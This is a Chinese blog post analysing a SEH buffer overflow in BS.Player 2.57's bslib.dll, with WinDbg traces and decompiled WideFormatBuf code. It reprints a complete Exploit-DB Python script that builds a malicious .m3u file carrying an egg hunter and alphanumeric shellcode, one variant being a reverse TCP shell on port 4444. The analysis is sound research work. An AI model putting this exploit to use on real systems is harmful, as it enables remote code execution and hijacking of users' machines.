[小通知]BS.Player 2.57缓冲区溢出漏洞分析

作者:k0shl 转载请注明出处:http://whereisk0shl.top
由于菜鸡博主明天飞新疆旅游,未来10天停更博客,回来更新后再分享几张新疆行的摄影照片~再次感谢大家对我博客的支持,谢谢大家!10天回来后,会将博客从Farbox迁移到Bitcron,调整结束后恢复更新,谢谢!


漏洞说明


软件下载:
https://www.exploit-db.com/apps/8a038ac07a1258448cf884504a0feac1-bsplayer257_1051ENnew.exe

PoC/Exp:

import os
import sys
import time
import string

os.system("cls")
os.system("color 4f")

def usage():
        print "\n"
        print "[+]Exploit: Exploit Buffer Overflow Bsplayer(UNICODE-SEH)"
        print "[+]Date: 01\\07\\2010"
        print "[+]Author: C4SS!0 G0M3S"
        print "[+]Home: www.invasao.com.br"
        print "[+]E-mail: Louredo_@hotmail.com"
        print "[+]Version: 2.57"
        print "[+]Software: Bsplayer 2.57\n"
        print "[-]Note:"
        print "TO EXPLOIT THE RUN FILE NAME MUST BE FILE_NAME.M3U\n"


if((len(sys.argv)!=3) or (int(sys.argv[1])<1) or (int(sys.argv[1])>2)):
        usage()
        print "Payloads:\n1 - WinExec(\"Calc.exe\",0)\n2 - Reverse_Tcp_Shell\n"
        print "[-]Usage: "+sys.argv[0]+" <Playload Number> <File Name>"
        print "[-]Exemple: "+sys.argv[0]+" 1 Exploit.m3u"
        sys.exit(0)

usage()
buffer = "\x42" * 4102
nseh = "\x61\x6d"
seh = "\xde\x4e" #pop ebx - pop ebp - ret at 0x004E00DE [bsplayer.exe]
egg_hunter = "\x45\x61\x45\x61\x45\x50\x45\xc3"

junk = "\x45" * 1094
print "[*]Identifying the length Shellcode"
time.sleep(1)
if int(sys.argv[1]) == 2:
    shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"
    "ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBNKWY7N4PV9X6PQX1PV9JYNZ9SDMTZTR" # 
    "83SY0KT01RPLLLCBPLLT2RLPJX9KKTOX3NZUKKV0VLK3Y3MLRONMMJU2VWC8VQKQSOPTZT3CTK1LPUR6" #
    "KZR65RJC7NPWDLVRZQUMFMV85BXR7BOG8SCKUNXUVMVGIPMKJJZ6XSQ40ORI2UTOWNWRXVF679XJWYPL" #FROM METASPLOIT FRAMEWORK 
    "OU2QOXQNN0GGLNM3HJLRVWUSKO4OWMVOZKXLKLY2B3U1BQMPEBVMQEEFULKP12N8GHWH43CROTS2NPPD" #
    "QT0YXLS5MOM3OCKSRWPFLJWWN19PSXXOFKYD7KLN3WYMFFEJY7LO785W6C1TM7MOURUH7EOM1FZTEMOJ" #SHELLCODE REVERSE_TCP_SHELL ON PORT 4444
    "28TUN2LK0SKNTKKPHJSDRKLFONNC2620QXQTRFZUE3UGR8TOL5V3YO47PRSMMBURNNL9MNEHNELX5NOW" #
    "Q8C5UPOLK3BIRSQBOXVDD9STOI8LHBM1Y3PEPOKMQOMKRN8JZIJ3MPJ0VRRYY92VP0DLVJ3TVJFWKSKB" #PROMPT:
    "QCMXW7O30CRZRF7JK7JV4S2SRM9M5RRTOZZVFYQQDKKW1LY7S6LZFJLLZNXMJB685QOJGLNKNITOCZSK" #
    "QITVVPONFL6LN0O1RVBINM6OLML4XL0TNL6RRVN28UOKSULQJXYLLY9NLM57LVDS8NY2PMQ3MORRMHQD" #C:\>Telnet 127.0.0.1 4444
    "BEINV9QY8U0MN1ZTUPPO3KGMVDOQWLNEUOJLWKE6UPNMBX12QURRNVJN78DYMXKOMHNA")            # 
                                                                                       #
if int(sys.argv[1]) == 1:
        shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"
        "ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBIKY0NQ99GO3LLVRPHLXY2TMTL46QMNR"
        "8P1SHN853YXKLKSSHQXL4TENPSHWL3599RX6VNCJUKCH4VNSMM25ZOJP2MLWORBZMMM1DJ5QVO9MQ9W4"
        "V30ZUBQWZLFP5KELTXGCLKKMKLE2KZPNG9MOXKMNBNXMKVBK893KGOKSJXOPLPOMS8SR3UTPWKGHXOKT"
        "CDN4CMOQG1C34R171NSXML5WVKE7QSN4XL5VJZQM5W8O669OMOK90J9KN0Q31VVLNNOCUN957X7SHNOP"
        "YTP3KXWLE3O9XCKXJA")

print "[*]The Length Shellcode:"+str(len(shellcode))

time.sleep(1)

shellcode += "\x41" * 5000

file = str(sys.argv[2])

payload = buffer+nseh+seh+egg_hunter+junk+shellcode

op = "w"
print "[*]Creating Your File "+file
time.sleep(1)
try:
        f = open(file,op)
        f.write("http://"+payload)
        f.close()
        print "[*]The File "+file+" was Successfully Created"
except:
        print "[*]Error Creating File "+file

利用PoC生成一个m3u文件,然后用BS.Player打开,引发crash,由于这个是直接从edb上下载,payload具备一定功能,可以自行修改payload为畸形字符串。


漏洞复现


bslib.dll是bsplayer用于处理列表,播放等操作的动态链接库,在bsplayer使用歌曲列表时会调用到这个动态链接库,而bsplayer歌曲列表中若加载进包含恶意内容的歌曲文件时,bslib会由于处理歌曲歌词时对加载的内容检验不严格,进行字符串拷贝之后,触发SEH异常函数处理,通过覆盖SEH指针,导致任意代码执行,下面对此漏洞进行详细分析。

首先加载PoC.m3u,程序崩溃,附加windbg,查看当前漏洞现场的情况。

0:002> g
ModLoad: 02ee0000 0375a000   C:\Program Files\Webteh\BSplayer\bslib\bslib.dll
(54c.360): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00190020 ebx=00000000 ecx=00000877 edx=00000000 esi=0019d686 edi=00130000
eip=02eedc7e esp=0012d018 ebp=0012d0d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** WARNING: Unable to verify checksum for C:\Program Files\Webteh\BSplayer\bslib\bslib.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program 

Files\Webteh\BSplayer\bslib\bslib.dll - 
bslib+0xdc7e:
02eedc7e f366a5          rep movs word ptr es:[edi],word ptr [esi]

可以看到此时在esi给edi循环拷贝赋值时程序中断,通过观察esi的值可以看到此时该指针已经被异常数据覆盖了。

0:000> dc esi
0019d82e  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0019d83e  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0019d84e  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0019d85e  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0019d86e  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0019d87e  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0019d88e  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.
0019d89e  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

接下来继续执行可以看到程序跳转到00450061的位置,其实这个地址就是PoC中的某处关键地址构造。

0:000> g
(54c.360): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00450061 edx=7c9232bc esi=00000000 edi=00000000
eip=00450061 esp=0012cc48 ebp=0012cc68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
bsplayer+0x50061:
00450061 89b8ac000000    mov     dword ptr [eax+0ACh],edi ds:0023:000000ac=????????

产生这个问题的原因就是SEH指针被这个PoC中关键地址构造的位置的值覆盖,所以跳转到那个位置,也就证明了可以执行任意代码。

但是通过kb回溯堆栈的时候,发现大量畸形字符串填充后堆栈回溯已经被破坏。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012d0d4 02eee36b 00000001 0012f128 00000006 bslib+0xdc7e
*** WARNING: Unable to verify checksum for C:\Program Files\Webteh\BSplayer\bsplayer.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files

\Webteh\BSplayer\bsplayer.exe
0012f0f8 00420042 00420042 00420042 00420042 bslib+0xe36b
0012f0fc 00420042 00420042 00420042 006d0061 bsplayer+0x20042
0012f100 00420042 00420042 006d0061 00458f53 bsplayer+0x20042
0012f104 00420042 006d0061 00458f53 00450061 bsplayer+0x20042
0012f108 006d0061 00458f53 00450061 00450061 bsplayer+0x20042
0012f10c 00458f53 00450061 00450061 00450050 bsplayer+0x2d0061

这时可以利用缩小畸形字符串长度的方法来回溯之前的堆栈调用情况。

0012f1d4 0012f348 010e85e2 010e82b0 00000000 0x12f31c
*** WARNING: Unable to verify checksum for C:\Program Files\Webteh\BSplayer\bslib\bslib.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program 

Files\Webteh\BSplayer\bslib\bslib.dll - 
0012f31c 02f9fc3f 00000000 0000003b 0012f330 0x12f348
0012f378 02f457b8 0012f5f8 02f45884 0012f3e8 bslib+0xbfc3f
0012f3e8 02f45c84 010e82b0 0012f628 010e82b0 bslib+0x657b8
0012f468 02f498ad 0012f628 010e82b0 02f97bea bslib+0x65c84
0012f5bc 02f45620 01151d20 00150178 01156200 bslib+0x698ad

此时就可以从内层函数入手分析整个漏洞形成的原因。


漏洞分析


通过lm命令可以查看当前的动态链接库加载情况,可以看到bslib.dll的加载,而上述过程回溯的内容,也属于bslib动态链接库。

02ee0000 0375a000   bslib    C (export symbols)       C:\Program Files\Webteh\BSplayer\bslib\bslib.dll

接下来通过查看最近的堆栈回溯,可以找到内层函数wideformatBuf,这个函数是用于处理表单缓冲区,也是产生漏洞的核心函数。

CODE:0040DB9C ; __fastcall Sysutils::WideFormatBuf(void *, unsigned int, void const *, unsigned int, System::TVarRec const *, const int)
CODE:0040DB9C @Sysutils@WideFormatBuf$qqrpvuipxvuipx14System@TVarRecxi proc near
CODE:0040DB9C                                         ; CODE XREF: Sysutils::WideFmtStr(System::WideString &,System::WideString,System::TVarRec *,int)+56_x0019_p
CODE:0040DB9C                                         ; Sysutils::WideFmtStr(System::WideString &,System::WideString,System::TVarRec *,int)+9D_x0019_p ...
CODE:0040DB9C

在函数入口处下断点,重新附加PoC,利用F5执行效果如下。

0:000> g
Breakpoint 0 hit
eax=0012d784 ebx=00000000 ecx=0016c60c edx=00000fff esi=0012f7d8 edi=00000000
eip=02f6db9c esp=0012d728 ebp=0012d764 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
bslib+0xdb9c:
02f6db9c 55              push    ebp
0:000> g
Breakpoint 0 hit
eax=0012d0f0 ebx=00002000 ecx=030f1918 edx=00001fff esi=0012f13c edi=01140c00
eip=02f6db9c esp=0012d0d8 ebp=0012f0f8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
bslib+0xdb9c:
02f6db9c 55              push    ebp
0:000> g
(73c.1e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00190020 ebx=00000000 ecx=00000877 edx=00000000 esi=0019d82e edi=00130000
eip=02f6dc7e esp=0012d018 ebp=0012d0d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
bslib+0xdc7e:
02f6dc7e f366a5          rep movs word ptr es:[edi],word ptr [esi]

可以看到,在两次命中断点后到达漏洞现场,而漏洞现场属于此函数的一个loc块中。

CODE:0040DC7E loc_40DC7E:                             ; CODE XREF: Sysutils::WideFormatBuf(void *,uint,void *,uint,System::TVarRec *,int)+DCj
CODE:0040DC7E                 rep movsw

通过多次回溯分析,我观察到0019d82e附近(这里简要描述一下为什么说附近,因为0019d82e所属的缓冲区是随着程序动态开辟的,也就是说,每次加载的时候地址都不太相同,这里可以采取快照还原的方法来准确定位,也可以自行搜索)用于保存畸形字符串。

在第一次加载的时候。

0:003> g
Breakpoint 0 hit
eax=0012d784 ebx=00000000 ecx=00185934 edx=00000fff esi=0012f7d8 edi=00000000
eip=02f6db9c esp=0012d728 ebp=0012d764 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
bslib+0xdb9c:
02f6db9c 55              push    ebp
0:000> dd 0019a5f4
0019a5f4  000801a0 00185908 52a06dfb 5f5576ee
0019a604  00000000 0003013f 006c102e 00198760
0019a614  00190918 0005013d 000810dd 00150178
0019a624  00190918 6ce80022 7801518c 00000022
0019a634  00000000 00000000 00000000 00050138
0019a644  00001000 00150178 00190918 00000000
0019a654  00000000 00000000 00000000 00000000

函数附近还是正常的内容,接下来第二次加载的时候。

0:000> g
Breakpoint 0 hit
eax=0012d0f0 ebx=00002000 ecx=030f1918 edx=00001fff esi=0012f13c edi=01140c00
eip=02f6db9c esp=0012d0d8 ebp=0012f0f8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
bslib+0xdb9c:
02f6db9c 55              push    ebp
0:000> ls
No current source file
0:000> bl
 0 e 02f6db9c     0001 (0001)  0:**** bslib+0xdb9c
 1 e 0019a5f4 w 1 0001 (0001)  0:**** 
0:000> dd 0019a5f4
0019a5f4  000801a0 00185908 52a06dfb 5f5576ee
0019a604  00000000 00030a63 000801df 0000530a
0019a614  00740068 00700074 002f003a 0042002f
0019a624  00420042 00420042 00420042 00420042
0019a634  00420042 00420042 00420042 00420042
0019a644  00420042 00420042 00420042 00420042
0019a654  00420042 00420042 00420042 00420042
0019a664  00420042 00420042 00420042 00420042
0:000> dc 0019a5f4
0019a5f4  000801a0 00185908 52a06dfb 5f5576ee  .....Y...m.R.vU_
0019a604  00000000 00030a63 000801df 0000530a  ....c........S..
0019a614  00740068 00700074 002f003a 0042002f  h.t.t.p.:././.B.
0019a624  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
0019a634  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
0019a644  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
0019a654  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.

可见在第二次加载的时候会将文件的内容传递进来,接下来观察一下漏洞现场loc块中的内容。

CODE:0040DC7E loc_40DC7E:                             ; CODE XREF: Sysutils::WideFormatBuf(void *,uint,void *,uint,System::TVarRec *,int)+DCj
CODE:0040DC7E                 rep movsw
CODE:0040DC81 ; 125:           v8 = v21;
CODE:0040DC81                 pop     ecx
CODE:0040DC82 ; 126:           v7 = v22;
CODE:0040DC82                 mov     esi, [ebp+var_24]
CODE:0040DC85 ; 127:           goto LABEL_2;
CODE:0040DC85                 jmp     loc_40DBC8

在函数loc块末尾是一个跳转指令,那么这里很有可能是一处循环操作。

    while ( v7 != (_WORD *)v8 )
    {
      LOWORD(a1) = *v7;
      ++v7;
      if ( (_WORD)a1 == 37 )
      {
        if ( v7 == (_WORD *)v8 )
          return sub_40DF34(((unsigned int)v6 - v25) >> 1, a2, v8);
        LOWORD(a1) = *v7;
        ++v7;
        if ( (_WORD)a1 != 37 )
        {
          v9 = (int)(v7 - 2);
          while ( 1 )
          {
            v24 = a1;
            if ( (_WORD)a1 == 45 )
            {
              if ( v7 == (_WORD *)v8 )
                return sub_40DF34(((unsigned int)v6 - v25) >> 1, a2, v8);
              LOWORD(a1) = *v7;
              ++v7;
            }
            a1 = sub_40DC8A(a1);
            if ( (_WORD)a1 != 58 )
              break;
            if ( v7 == (_WORD *)v8 )
              return sub_40DF34(((unsigned int)v6 - v25) >> 1, a2, v8);
            LOWORD(a1) = *v7;
            ++v7;
          }
          v23 = v9;
          if ( (_WORD)a1 == 46 )
          {
            if ( v7 == (_WORD *)v8 )
              return sub_40DF34(((unsigned int)v6 - v25) >> 1, a2, v8);
            LOWORD(a1) = *v7;
            ++v7;
            a1 = sub_40DC8A(a1);
          }
          v22 = v7;
          v21 = v8;
          v20 = a2;
          a1 = sub_40DCDC(a1);
          v11 = v20;
          v12 = v9 - v10;
          if ( v23 < v10 )
            v12 = 0;
          if ( v24 == 45 )
          {
            v11 = v20 - v10;
            if ( v20 < v10 )
            {
              v10 = v20;
              v11 = 0;
            }
            while ( v10 )
            {
              *v6 = *v7;
              ++v7;
              ++v6;
              --v10;
            }
          }
          v15 = v12;
          v14 = v10;
          v13 = v15;
          v16 = v11 < v15;
          v17 = v11 - v15;
          if ( v16 )
          {
            v13 += v17;
            v17 = 0;
          }
          while ( v13 )
          {
            *v6 = 32;
            ++v6;
            --v13;
          }
          v18 = v14;
          v16 = v17 < v14;
          a2 = v17 - v14;
          if ( v16 )
          {
            v18 = a2 + v14;
            a2 = 0;
          }
          while ( v18 )
          {
            *v6 = *v7;
            ++v7;
            ++v6;
            --v18;
          }
          v8 = v21;
          v7 = v22;
          goto LABEL_2;
        }
      }

while循环中有一个关键位置调用,也就是说,在进入wildformbuf函数的时候,加载了畸形字符串,紧接着。

0:000> p
eax=00000073 ebx=ffffffff ecx=03071924 edx=00001ffc esi=03071924 edi=0012d0f6
eip=02eedc40 esp=0012d01c ebp=0012d0d4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
bslib+0xdc40:
02eedc40 51              push    ecx
0:000> p
eax=00000073 ebx=ffffffff ecx=03071924 edx=00001ffc esi=03071924 edi=0012d0f6
eip=02eedc41 esp=0012d018 ebp=0012d0d4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
bslib+0xdc41:
02eedc41 52              push    edx
0:000> p
eax=00000073 ebx=ffffffff ecx=03071924 edx=00001ffc esi=03071924 edi=0012d0f6
eip=02eedc42 esp=0012d014 ebp=0012d0d4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
bslib+0xdc42:
02eedc42 e895000000      call    bslib+0xdcdc (02eedcdc)
0:000> p
eax=0019a7cc ebx=00000001 ecx=00002985 edx=0000000f esi=0019a7cc edi=0012d0f6
eip=02eedc47 esp=0012d014 ebp=0012d0d4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
bslib+0xdc47:
02eedc47 5a              pop     edx
0:000> dd esi
0019a7cc  00740068 00700074 002f003a 0042002f
0019a7dc  00420042 00420042 00420042 00420042
0019a7ec  00420042 00420042 00420042 00420042
0019a7fc  00420042 00420042 00420042 00420042
0019a80c  00420042 00420042 00420042 00420042
0019a81c  00420042 00420042 00420042 00420042
0019a82c  00420042 00420042 00420042 00420042
0019a83c  00420042 00420042 00420042 00420042
0:000> dc esi
0019a7cc  00740068 00700074 002f003a 0042002f  h.t.t.p.:././.B.
0019a7dc  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
0019a7ec  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
0019a7fc  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
0019a80c  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.

02eedc42位置的call调用结束后,esi被赋值,而这个esi后续会在漏洞现场的拷贝中触发SEH处理流程,而在这个过程中,没有任何位置对这个buffer的合法性和长度进行检验,从而导致了漏洞的

Comments
Write a Comment